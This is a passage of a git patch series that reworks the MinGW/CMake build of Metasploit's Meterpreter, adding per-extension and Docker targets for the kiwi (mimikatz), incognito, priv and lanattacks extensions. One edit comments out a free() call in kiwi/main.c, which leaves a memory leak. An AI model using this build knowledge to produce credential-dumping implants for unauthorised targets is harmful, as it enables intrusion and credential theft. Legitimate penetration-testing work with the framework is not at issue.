 .../workspace/ext_server_kiwi/CMakeLists.txt  | 74 +++++++++++++++----
 4 files changed, 65 insertions(+), 18 deletions(-)

diff --git a/c/meterpreter/Makefile b/c/meterpreter/Makefile
index 3239f4f9..af84e2dc 100644
--- a/c/meterpreter/Makefile
+++ b/c/meterpreter/Makefile
@@ -9,7 +9,7 @@ meterpreter: meterpreter-x86 meterpreter-x64
 meterpreter-x86: meterpreter-x86-gen meterpreter-x86-build
 
 meterpreter-x86-gen:
-	@cmake -S workspace -B workspace/build/mingw-x86 -Wno-dev -DBUILD_SNIFFER=NO -DBUILD_ARCH=Win32 -DUSE_STATIC_MSVC_RUNTIMES=ON -DCMAKE_TOOLCHAIN_FILE=i686-w64-mingw32.cmake -DDBGTRACE=ON
+	@cmake -S workspace -B workspace/build/mingw-x86 -Wno-dev -DBUILD_SNIFFER=NO -DBUILD_ARCH=Win32 -DUSE_STATIC_MSVC_RUNTIMES=ON -DCMAKE_TOOLCHAIN_FILE=i686-w64-mingw32.cmake
 
 meterpreter-x86-build:
 	@cmake --build workspace/build/mingw-x86 --config Release
@@ -20,7 +20,7 @@ meterpreter-x86-clean:
 meterpreter-x64: meterpreter-x64-gen meterpreter-x64-build
 
 meterpreter-x64-gen:
-	@cmake -S workspace -B workspace/build/mingw-x64 -Wno-dev -DBUILD_SNIFFER=NO -DBUILD_ARCH=x64 -DUSE_STATIC_MSVC_RUNTIMES=ON -DCMAKE_TOOLCHAIN_FILE=x86_64-w64-mingw32.cmake -DDBGTRACE=ON
+	@cmake -S workspace -B workspace/build/mingw-x64 -Wno-dev -DBUILD_SNIFFER=NO -DBUILD_ARCH=x64 -DUSE_STATIC_MSVC_RUNTIMES=ON -DCMAKE_TOOLCHAIN_FILE=x86_64-w64-mingw32.cmake
 
 meterpreter-x64-build:
 	@cmake --build workspace/build/mingw-x64 --config Release
diff --git a/c/meterpreter/source/extensions/kiwi/main.c b/c/meterpreter/source/extensions/kiwi/main.c
index 3b0cc5ae..94e08a7e 100755
--- a/c/meterpreter/source/extensions/kiwi/main.c
+++ b/c/meterpreter/source/extensions/kiwi/main.c
@@ -47,6 +47,7 @@ DWORD request_exec_cmd(Remote *remote, Packet *packet)
 		// While this implies that powershell is in use, this is just a naming thing,
 		// it's not actually using powershell.
 		wchar_t* output = powershell_reflective_mimikatz(cmd);
+		dprintf("[KIWI] Executed command: %S", cmd);
 		if (output != NULL)
 		{
 			met_api->packet.add_tlv_wstring(response, TLV_TYPE_KIWI_CMD_RESULT, output);
@@ -55,7 +56,7 @@ DWORD request_exec_cmd(Remote *remote, Packet *packet)
 		{
 			result = ERROR_OUTOFMEMORY;
 		}
-		free(cmd);
+		//LocalFree(cmd);
 	}
 	else
 	{
diff --git a/c/meterpreter/workspace/CMakeLists.txt b/c/meterpreter/workspace/CMakeLists.txt
index 162298e2..10f04247 100644
--- a/c/meterpreter/workspace/CMakeLists.txt
+++ b/c/meterpreter/workspace/CMakeLists.txt
@@ -108,6 +108,7 @@ set(
     ext_server_winpmem
     ext_server_lanattacks
     ext_server_extapi
+    ext_server_kiwi
 )
 
 if(MSVC)
@@ -117,7 +118,6 @@ if(MSVC)
         ext_server_peinjector
         ext_server_mimikatz
         ext_server_powershell
-        ext_server_kiwi
         ext_server_python
     )
 endif()
diff --git a/c/meterpreter/workspace/ext_server_kiwi/CMakeLists.txt b/c/meterpreter/workspace/ext_server_kiwi/CMakeLists.txt
index e1f0b292..27afbba4 100644
--- a/c/meterpreter/workspace/ext_server_kiwi/CMakeLists.txt
+++ b/c/meterpreter/workspace/ext_server_kiwi/CMakeLists.txt
@@ -5,16 +5,52 @@ project(${PROJECT_NAME} C)
 include(${CMAKE_CURRENT_SOURCE_DIR}/../CMakeListsFuncs.txt)
 
 add_definitions(
+    -D_WINDLL
     -D_USRDLL
     -DUNICODE
     -D_UNICODE
     -D_POWERKATZ
 )
 
-set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
+if(MSVC)
+    set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
+else()
+    add_definitions(
+        '-D_WIN32_WINNT=0x601'
+        '-D__deref=SAL__deref'
+        '-D__deref_opt_bcount=SAL__deref_opt_bcount'
+        '-D__deref_opt_out_bcount=SAL__deref_opt_out_bcount'
+        '-D__deref_opt_out_opt=SAL__deref_opt_out_opt'
+        '-D__deref_out=SAL__deref_out'
+        '-D__deref_out_bcount=SAL__deref_out_bcount'
+        '-D__deref_out_bcount_opt=SAL__deref_out_bcount_opt'
+        '-D__deref_out_bcount_full=SAL__deref_out_bcount_full'
+        '-D__deref_out_ecount_full=SAL__deref_out_ecount_full'
+        '-D__field_bcount=DISCARD'
+        '-D__field_ecount=DISCARD'
+        '-D__field_xcount=DISCARD'
+        '-D__in_bcount_opt=SAL__in_bcount_opt'
+        '-D__in_ecount_opt=SAL__in_ecount_opt'
+        '-D__in_ecount_opt=SAL__in_ecount_opt'
+        '-D__format_string=SAL__format_string'
+        '-D__in_z='
+        '-D__inout_bcount_opt=SAL__inout_bcount_opt'
+        '-D__inout_bcount_part_opt=SAL__inout_bcount_part_opt'
+        '-D__out_bcount_full_opt=SAL__out_bcount_full_opt'
+        '-D__out_bcount_opt=SAL__out_bcount_opt'
+        '-D__out_bcount_part_opt=SAL__out_bcount_part_opt'
+        '-D__out_ecount_opt=SAL__out_ecount_opt'
+        '-D__out_xcount_opt=SAL__out_bcount_opt'
+        '-D__range=DISCARD2'
+        '-D__reserved=SAL__reserved'
+        '-D__success=DISCARD'
+        '-D__FUNCTION__=""'
+        '-D__struct_bcount=DISCARD'
+    )
+endif()
 
 include_directories(../../source/common)
-include_directories(../../source/ReflectiveDllInjection/common)
+include_directories(../../source/ReflectiveDLLInjection/common)
 include_directories(../../source/extensions/kiwi/mimikatz/inc)
 
 set(SRC_DIR ../../source/extensions/kiwi)
@@ -43,8 +79,10 @@ list(REMOVE_ITEM SRC_FILES ${CMAKE_CURRENT_SOURCE_DIR}/${SRC_DIR}/mimikatz/mimik
 
 add_library(${PROJECT_NAME} SHARED ${SRC_FILES})
 set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH})
-set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
-set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
+if(MSVC)
+    set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
+    set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
+endif()
 
 if(IS_X86)
     set(KIWI_LIB_DIR ${WORKSPACE_ROOT_DIR}/../source/extensions/kiwi/mimikatz/lib/Win32)
@@ -53,22 +91,30 @@ else()
 endif()
 
 set(LINK_LIBS
+    advapi32
     psapi
     crypt32
-    Shlwapi
-    Secur32
-    Wtsapi32
+    shlwapi
+    secur32
+    wtsapi32
     winscard
     wldap32
-    Netapi32
-    Rpcrt4
-    SetupAPI
-    Userenv
-    Cabinet
-    Dnsapi
+    netapi32
+    rpcrt4
+    setupapi
+    userenv
+    cabinet
+    dnsapi
     version
-    msxml2
 )
+
+if(MSVC)
+    set(LINK_LIBS
+        ${LINK_LIBS}
+        msxml2
+    )
+endif()
+
 # Add all the custom libs that come with the mimikatz source
 set(LINK_LIBS
     ${LINK_LIBS}

From c36e5274b882d99646b4145cf3a5a00095bd83ba Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Tue, 26 May 2020 15:19:56 +1000
Subject: [PATCH 20/28] Finalise kiwi support fix up Makefiles some more

---
 c/meterpreter/Makefile                        | 326 +++++++++++++++++-
 c/meterpreter/workspace/CMakeLists.txt        | 140 ++++++--
 .../workspace/ext_server_kiwi/CMakeLists.txt  |   2 +-
 3 files changed, 426 insertions(+), 42 deletions(-)

diff --git a/c/meterpreter/Makefile b/c/meterpreter/Makefile
index af84e2dc..ebecb243 100644
--- a/c/meterpreter/Makefile
+++ b/c/meterpreter/Makefile
@@ -1,35 +1,251 @@
 ID := $(shell id -u)
+COMMON_GEN=-Wno-dev -DUSE_STATIC_MSVC_RUNTIMES=ON
+COMMON_GEN_X86=-DCMAKE_TOOLCHAIN_FILE=i686-w64-mingw32.cmake -DBUILD_ARCH=Win32 ${COMMON_GEN}
+COMMON_GEN_X64=-DCMAKE_TOOLCHAIN_FILE=x86_64-w64-mingw32.cmake -DBUILD_ARCH=x64 ${COMMON_GEN}
+COMMON_BUILD=--config Release
+
 all: meterpreter
 
-clean: meterpreter-x64-clean
-	@rm -rf workspace/build && rm -rf output/*.dll
+clean: meterpreter-x64-clean meterpreter-x86-clean
+
+install:
+	@cp output/*.dll ../../../metasploit-framework/data/meterpreter
+
+##########################################################################################
+### Build all
+##########################################################################################
 
 meterpreter: meterpreter-x86 meterpreter-x64
 
 meterpreter-x86: meterpreter-x86-gen meterpreter-x86-build
 
 meterpreter-x86-gen:
-	@cmake -S workspace -B workspace/build/mingw-x86 -Wno-dev -DBUILD_SNIFFER=NO -DBUILD_ARCH=Win32 -DUSE_STATIC_MSVC_RUNTIMES=ON -DCMAKE_TOOLCHAIN_FILE=i686-w64-mingw32.cmake
+	@cmake -S workspace -B workspace/build/mingw-x86 $(COMMON_GEN_X86)
 
 meterpreter-x86-build:
-	@cmake --build workspace/build/mingw-x86 --config Release
+	@cmake --build workspace/build/mingw-x86 $(COMMON_BUILD)
 
 meterpreter-x86-clean:
-	@rm -rf workspace/build/mingw-x86
+	@rm -rf workspace/build/mingw-x86* && rm -rf output/*.x86.dll
 
 meterpreter-x64: meterpreter-x64-gen meterpreter-x64-build
 
 meterpreter-x64-gen:
-	@cmake -S workspace -B workspace/build/mingw-x64 -Wno-dev -DBUILD_SNIFFER=NO -DBUILD_ARCH=x64 -DUSE_STATIC_MSVC_RUNTIMES=ON -DCMAKE_TOOLCHAIN_FILE=x86_64-w64-mingw32.cmake
+	@cmake -S workspace -B workspace/build/mingw-x64 $(COMMON_GEN_X64)
 
 meterpreter-x64-build:
-	@cmake --build workspace/build/mingw-x64 --config Release
+	@cmake --build workspace/build/mingw-x64 $(COMMON_BUILD)
 
 meterpreter-x64-clean:
-	@rm -rf workspace/build/mingw-x64
+	@rm -rf workspace/build/mingw-x64* && rm -rf output/*.x64.dll
 
-install:
-	@cp output/*.dll ../../../metasploit-framework/data/meterpreter
+##########################################################################################
+### Component Builds
+##########################################################################################
+
+### Metsrv
+
+meterpreter-metsrv: meterpreter-metsrv-x86 meterpreter-metsrv-x64
+
+meterpreter-metsrv-x86: meterpreter-metsrv-x86-gen meterpreter-metsrv-x86-build
+
+meterpreter-metsrv-x86-gen:
+	@cmake -S workspace -B workspace/build/mingw-x86-metsrv -DBUILD_ALL=OFF -DBUILD_METSRV=ON $(COMMON_GEN_X86)
+
+meterpreter-metsrv-x86-build:
+	@cmake --build workspace/build/mingw-x86-metsrv $(COMMON_BUILD)
+
+meterpreter-metsrv-x64: meterpreter-metsrv-x64-gen meterpreter-metsrv-x64-build
+
+meterpreter-metsrv-x64-gen:
+	@cmake -S workspace -B workspace/build/mingw-x64-metsrv -DBUILD_ALL=OFF -DBUILD_METSRV=ON $(COMMON_GEN_X64)
+
+meterpreter-metsrv-x64-build:
+	@cmake --build workspace/build/mingw-x64-metsrv $(COMMON_BUILD)
+
+### Stdapi
+
+meterpreter-ext-stdapi: meterpreter-ext-stdapi-x86 meterpreter-ext-stdapi-x64
+
+meterpreter-ext-stdapi-x86: meterpreter-ext-stdapi-x86-gen meterpreter-ext-stdapi-x86-build
+
+meterpreter-ext-stdapi-x86-gen:
+	@cmake -S workspace -B workspace/build/mingw-x86-ext-stdapi -DBUILD_ALL=OFF -DBUILD_EXT_STDAPI=ON $(COMMON_GEN_X86)
+
+meterpreter-ext-stdapi-x86-build:
+	@cmake --build workspace/build/mingw-x86-ext-stdapi $(COMMON_BUILD)
+
+meterpreter-ext-stdapi-x64: meterpreter-ext-stdapi-x64-gen meterpreter-ext-stdapi-x64-build
+
+meterpreter-ext-stdapi-x64-gen:
+	@cmake -S workspace -B workspace/build/mingw-x64-ext-stdapi -DBUILD_ALL=OFF -DBUILD_EXT_STDAPI=ON $(COMMON_GEN_X64)
+
+meterpreter-ext-stdapi-x64-build:
+	@cmake --build workspace/build/mingw-x64-ext-stdapi $(COMMON_BUILD)
+
+### Priv
+
+meterpreter-ext-priv: meterpreter-ext-priv-x86 meterpreter-ext-priv-x64
+
+meterpreter-ext-priv-x86: meterpreter-ext-priv-x86-gen meterpreter-ext-priv-x86-build
+
+meterpreter-ext-priv-x86-gen:
+	@cmake -S workspace -B workspace/build/mingw-x86-ext-priv -DBUILD_ALL=OFF -DBUILD_EXT_PRIV=ON $(COMMON_GEN_X86)
+
+meterpreter-ext-priv-x86-build:
+	@cmake --build workspace/build/mingw-x86-ext-priv $(COMMON_BUILD)
+
+meterpreter-ext-priv-x64: meterpreter-ext-priv-x64-gen meterpreter-ext-priv-x64-build
+
+meterpreter-ext-priv-x64-gen:
+	@cmake -S workspace -B workspace/build/mingw-x64-ext-priv -DBUILD_ALL=OFF -DBUILD_EXT_PRIV=ON $(COMMON_GEN_X64)
+
+meterpreter-ext-priv-x64-build:
+	@cmake --build workspace/build/mingw-x64-ext-priv $(COMMON_BUILD)
+
+### Extapi
+
+meterpreter-ext-extapi: meterpreter-ext-extapi-x86 meterpreter-ext-extapi-x64
+
+meterpreter-ext-extapi-x86: meterpreter-ext-extapi-x86-gen meterpreter-ext-extapi-x86-build
+
+meterpreter-ext-extapi-x86-gen:
+	@cmake -S workspace -B workspace/build/mingw-x86-ext-extapi -DBUILD_ALL=OFF -DBUILD_EXT_EXTAPI=ON $(COMMON_GEN_X86)
+
+meterpreter-ext-extapi-x86-build:
+	@cmake --build workspace/build/mingw-x86-ext-extapi $(COMMON_BUILD)
+
+meterpreter-ext-extapi-x64: meterpreter-ext-extapi-x64-gen meterpreter-ext-extapi-x64-build
+
+meterpreter-ext-extapi-x64-gen:
+	@cmake -S workspace -B workspace/build/mingw-x64-ext-extapi -DBUILD_ALL=OFF -DBUILD_EXT_EXTAPI=ON $(COMMON_GEN_X64)
+
+meterpreter-ext-extapi-x64-build:
+	@cmake --build workspace/build/mingw-x64-ext-extapi $(COMMON_BUILD)
+
+### Incognito
+
+meterpreter-ext-incognito: meterpreter-ext-incognito-x86 meterpreter-ext-incognito-x64
+
+meterpreter-ext-incognito-x86: meterpreter-ext-incognito-x86-gen meterpreter-ext-incognito-x86-build
+
+meterpreter-ext-incognito-x86-gen:
+	@cmake -S workspace -B workspace/build/mingw-x86-ext-incognito -DBUILD_ALL=OFF -DBUILD_EXT_INCOGNITO=ON $(COMMON_GEN_X86)
+
+meterpreter-ext-incognito-x86-build:
+	@cmake --build workspace/build/mingw-x86-ext-incognito $(COMMON_BUILD)
+
+meterpreter-ext-incognito-x64: meterpreter-ext-incognito-x64-gen meterpreter-ext-incognito-x64-build
+
+meterpreter-ext-incognito-x64-gen:
+	@cmake -S workspace -B workspace/build/mingw-x64-ext-incognito -DBUILD_ALL=OFF -DBUILD_EXT_INCOGNITO=ON $(COMMON_GEN_X64)
+
+meterpreter-ext-incognito-x64-build:
+	@cmake --build workspace/build/mingw-x64-ext-incognito $(COMMON_BUILD)
+
+### LanAttacks
+
+meterpreter-ext-lanattacks: meterpreter-ext-lanattacks-x86 meterpreter-ext-lanattacks-x64
+
+meterpreter-ext-lanattacks-x86: meterpreter-ext-lanattacks-x86-gen meterpreter-ext-lanattacks-x86-build
+
+meterpreter-ext-lanattacks-x86-gen:
+	@cmake -S workspace -B workspace/build/mingw-x86-ext-lanattacks -DBUILD_ALL=OFF -DBUILD_EXT_LANATTACKS=ON $(COMMON_GEN_X86)
+
+meterpreter-ext-lanattacks-x86-build:
+	@cmake --build workspace/build/mingw-x86-ext-lanattacks $(COMMON_BUILD)
+
+meterpreter-ext-lanattacks-x64: meterpreter-ext-lanattacks-x64-gen meterpreter-ext-lanattacks-x64-build
+
+meterpreter-ext-lanattacks-x64-gen:
+	@cmake -S workspace -B workspace/build/mingw-x64-ext-lanattacks -DBUILD_ALL=OFF -DBUILD_EXT_LANATTACKS=ON $(COMMON_GEN_X64)
+
+meterpreter-ext-lanattacks-x64-build:
+	@cmake --build workspace/build/mingw-x64-ext-lanattacks $(COMMON_BUILD)
+
+### WinPMem
+
+meterpreter-ext-winpmem: meterpreter-ext-winpmem-x86 meterpreter-ext-winpmem-x64
+
+meterpreter-ext-winpmem-x86: meterpreter-ext-winpmem-x86-gen meterpreter-ext-winpmem-x86-build
+
+meterpreter-ext-winpmem-x86-gen:
+	@cmake -S workspace -B workspace/build/mingw-x86-ext-winpmem -DBUILD_ALL=OFF -DBUILD_EXT_WINPMEM=ON $(COMMON_GEN_X86)
+
+meterpreter-ext-winpmem-x86-build:
+	@cmake --build workspace/build/mingw-x86-ext-winpmem $(COMMON_BUILD)
+
+meterpreter-ext-winpmem-x64: meterpreter-ext-winpmem-x64-gen meterpreter-ext-winpmem-x64-build
+
+meterpreter-ext-winpmem-x64-gen:
+	@cmake -S workspace -B workspace/build/mingw-x64-ext-winpmem -DBUILD_ALL=OFF -DBUILD_EXT_WINPMEM=ON $(COMMON_GEN_X64)
+
+meterpreter-ext-winpmem-x64-build:
+	@cmake --build workspace/build/mingw-x64-ext-winpmem $(COMMON_BUILD)
+
+### Espia
+
+meterpreter-ext-espia: meterpreter-ext-espia-x86 meterpreter-ext-espia-x64
+
+meterpreter-ext-espia-x86: meterpreter-ext-espia-x86-gen meterpreter-ext-espia-x86-build
+
+meterpreter-ext-espia-x86-gen:
+	@cmake -S workspace -B workspace/build/mingw-x86-ext-espia -DBUILD_ALL=OFF -DBUILD_EXT_ESPIA=ON $(COMMON_GEN_X86)
+
+meterpreter-ext-espia-x86-build:
+	@cmake --build workspace/build/mingw-x86-ext-espia $(COMMON_BUILD)
+
+meterpreter-ext-espia-x64: meterpreter-ext-espia-x64-gen meterpreter-ext-espia-x64-build
+
+meterpreter-ext-espia-x64-gen:
+	@cmake -S workspace -B workspace/build/mingw-x64-ext-espia -DBUILD_ALL=OFF -DBUILD_EXT_ESPIA=ON $(COMMON_GEN_X64)
+
+meterpreter-ext-espia-x64-build:
+	@cmake --build workspace/build/mingw-x64-ext-espia $(COMMON_BUILD)
+
+### Unhook
+
+meterpreter-ext-unhook: meterpreter-ext-unhook-x86 meterpreter-ext-unhook-x64
+
+meterpreter-ext-unhook-x86: meterpreter-ext-unhook-x86-gen meterpreter-ext-unhook-x86-build
+
+meterpreter-ext-unhook-x86-gen:
+	@cmake -S workspace -B workspace/build/mingw-x86-ext-unhook -DBUILD_ALL=OFF -DBUILD_EXT_UNHOOK=ON $(COMMON_GEN_X86)
+
+meterpreter-ext-unhook-x86-build:
+	@cmake --build workspace/build/mingw-x86-ext-unhook $(COMMON_BUILD)
+
+meterpreter-ext-unhook-x64: meterpreter-ext-unhook-x64-gen meterpreter-ext-unhook-x64-build
+
+meterpreter-ext-unhook-x64-gen:
+	@cmake -S workspace -B workspace/build/mingw-x64-ext-unhook -DBUILD_ALL=OFF -DBUILD_EXT_UNHOOK=ON $(COMMON_GEN_X64)
+
+meterpreter-ext-unhook-x64-build:
+	@cmake --build workspace/build/mingw-x64-ext-unhook $(COMMON_BUILD)
+
+### Kiwi
+
+meterpreter-ext-kiwi: meterpreter-ext-kiwi-x86 meterpreter-ext-kiwi-x64
+
+meterpreter-ext-kiwi-x86: meterpreter-ext-kiwi-x86-gen meterpreter-ext-kiwi-x86-build
+
+meterpreter-ext-kiwi-x86-gen:
+	@cmake -S workspace -B workspace/build/mingw-x86-ext-kiwi -DBUILD_ALL=OFF -DBUILD_EXT_KIWI=ON $(COMMON_GEN_X86)
+
+meterpreter-ext-kiwi-x86-build:
+	@cmake --build workspace/build/mingw-x86-ext-kiwi $(COMMON_BUILD)
+
+meterpreter-ext-kiwi-x64: meterpreter-ext-kiwi-x64-gen meterpreter-ext-kiwi-x64-build
+
+meterpreter-ext-kiwi-x64-gen:
+	@cmake -S workspace -B workspace/build/mingw-x64-ext-kiwi -DBUILD_ALL=OFF -DBUILD_EXT_KIWI=ON $(COMMON_GEN_X64)
+
+meterpreter-ext-kiwi-x64-build:
+	@cmake --build workspace/build/mingw-x64-ext-kiwi $(COMMON_BUILD)
+
+##########################################################################################
+### Container-based Builds
+##########################################################################################
 
 docker:
 	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make
@@ -42,3 +258,93 @@ docker-x64:
 
 docker-x86:
 	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-x86
+
+docker-metsrv:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-metsrv
+
+docker-metsrv-x86:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-metsrv-x86
+
+docker-metsrv-x64:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-metsrv-x64
+
+docker-ext-stdapi:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-stdapi
+
+docker-ext-stdapi-x86:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-stdapi-x86
+
+docker-ext-stdapi-x64:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-stdapi-x64
+
+docker-ext-priv:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-priv
+
+docker-ext-priv-x86:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-priv-x86
+
+docker-ext-priv-x64:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-priv-x64
+
+docker-ext-extapi:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-extapi
+
+docker-ext-extapi-x86:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-extapi-x86
+
+docker-ext-extapi-x64:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-extapi-x64
+
+docker-ext-incognito:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-incognito
+
+docker-ext-incognito-x86:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-incognito-x86
+
+docker-ext-incognito-x64:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-incognito-x64
+
+docker-ext-espia:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-espia
+
+docker-ext-espia-x86:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-espia-x86
+
+docker-ext-espia-x64:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-espia-x64
+
+docker-ext-lanattacks:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-lanattacks
+
+docker-ext-lanattacks-x86:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-lanattacks-x86
+
+docker-ext-lanattacks-x64:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-lanattacks-x64
+
+docker-ext-unhook:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-unhook
+
+docker-ext-unhook-x86:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-unhook-x86
+
+docker-ext-unhook-x64:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-unhook-x64
+
+docker-ext-winpmem:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-winpmem
+
+docker-ext-winpmem-x86:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-winpmem-x86
+
+docker-ext-winpmem-x64:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-winpmem-x64
+
+docker-ext-kiwi:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-kiwi
+
+docker-ext-kiwi-x86:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-kiwi-x86
+
+docker-ext-kiwi-x64:
+	@docker run -u $(ID):$(ID) -it -v ${PWD}:/meterpreter -w /meterpreter --rm meterpreter-build make meterpreter-ext-kiwi-x64
diff --git a/c/meterpreter/workspace/CMakeLists.txt b/c/meterpreter/workspace/CMakeLists.txt
index 10f04247..072f1db8 100644
--- a/c/meterpreter/workspace/CMakeLists.txt
+++ b/c/meterpreter/workspace/CMakeLists.txt
@@ -10,9 +10,59 @@ project(${PROJECT_NAME} C)
 
 option(DBGTRACE "Enable debug tracing" OFF)
 option(DBGTRACE_VERBOSE "Enable verbose debug tracing" OFF)
-option(BUILD_SNIFFER "Build the sniffer extension (requires PSSDK)" OFF)
 option(USE_STATIC_MSVC_RUNTIMES "Use /MT instead of /MD in MSVC" ON)
 
+option(BUILD_ALL "Build everything" ON)
+option(BUILD_LIB_JPEG "Build JPEG lib" OFF)
+option(BUILD_METSRV "Build METSRV" OFF)
+
+option(BUILD_EXT_ALL "Build all extensions" OFF)
+option(BUILD_EXT_SNIFFER "Build the SNIFFER extension (requires PSSDK)" OFF)
+option(BUILD_EXT_STDAPI "Build the STDAPI extension" OFF)
+option(BUILD_EXT_PRIV "Build the PRIV extension" OFF)
+option(BUILD_EXT_EXTAPI "Build the EXTAPI extension" OFF)
+option(BUILD_EXT_KIWI "Build the KIWI extension" OFF)
+option(BUILD_EXT_ESPIA "Build the ESPIA extension" OFF)
+option(BUILD_EXT_WINPMEM "Build the WINPMEM extension" OFF)
+option(BUILD_EXT_UNHOOK "Build the UNHOOK extension" OFF)
+option(BUILD_EXT_INCOGNITO "Build the INCOGNITO extension" OFF)
+option(BUILD_EXT_MIMIKATZ "Build the MIMIKATZ extension" OFF)
+option(BUILD_EXT_LANATTACKS "Build the LANATTACKS extension" OFF)
+option(BUILD_EXT_PYTHON "Build the PYTHON extension" OFF)
+option(BUILD_EXT_POWERSHELL "Build the POWERSHELL extension" OFF)
+option(BUILD_EXT_PEINJECTOR "Build the PEINJECTOR extension" OFF)
+
+if(BUILD_ALL)
+    set(BUILD_LIB_JPEG ON)
+    set(BUILD_METSRV ON)
+    set(BUILD_EXT_ALL ON)
+    # TODO: plugins
+endif()
+
+if(BUILD_EXT_ALL)
+    set(BUILD_EXT_STDAPI ON)
+    set(BUILD_EXT_PRIV ON)
+    set(BUILD_EXT_EXTAPI ON)
+    set(BUILD_EXT_KIWI ON)
+    set(BUILD_EXT_ESPIA ON)
+    set(BUILD_EXT_WINPMEM ON)
+    set(BUILD_EXT_UNHOOK ON)
+    set(BUILD_EXT_INCOGNITO ON)
+    set(BUILD_EXT_MIMIKATZ ON)
+    set(BUILD_EXT_LANATTACKS ON)
+    set(BUILD_EXT_PYTHON ON)
+    set(BUILD_EXT_POWERSHELL ON)
+    set(BUILD_EXT_PEINJECTOR ON)
+endif()
+
+if(BUILD_EXT_ESPIA)
+    set(BUILD_LIB_JPEG ON)
+endif()
+
+if(BUILD_EXT_STDAPI)
+    set(BUILD_LIB_JPEG ON)
+endif()
+
 if(USE_STATIC_MSVC_RUNTIMES)
     if(MSVC)
         set(CMAKE_MSVC_RUNTIME_LIBRARY "MultiThreaded$<$<CONFIG:Debug>:Debug>")
@@ -96,34 +146,63 @@ if(IS_X64)
     )
 endif()
 
-set(MET_LIBS jpeg)
-
-set(
-    MET_EXTENSIONS
-    ext_server_stdapi
-    ext_server_priv
-    ext_server_espia
-    ext_server_incognito
-    ext_server_unhook
-    ext_server_winpmem
-    ext_server_lanattacks
-    ext_server_extapi
-    ext_server_kiwi
-)
-
-if(MSVC)
-    set(
-        MET_EXTENSIONS
-        ${MET_EXTENSIONS}
-        ext_server_peinjector
-        ext_server_mimikatz
-        ext_server_powershell
-        ext_server_python
-    )
+if(BUILD_LIB_JPEG)
+    set(MET_LIBS jpeg)
 endif()
 
-if(BUILD_SNIFFER)
-    set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_sniffer)
+if(BUILD_EXT_STDAPI)
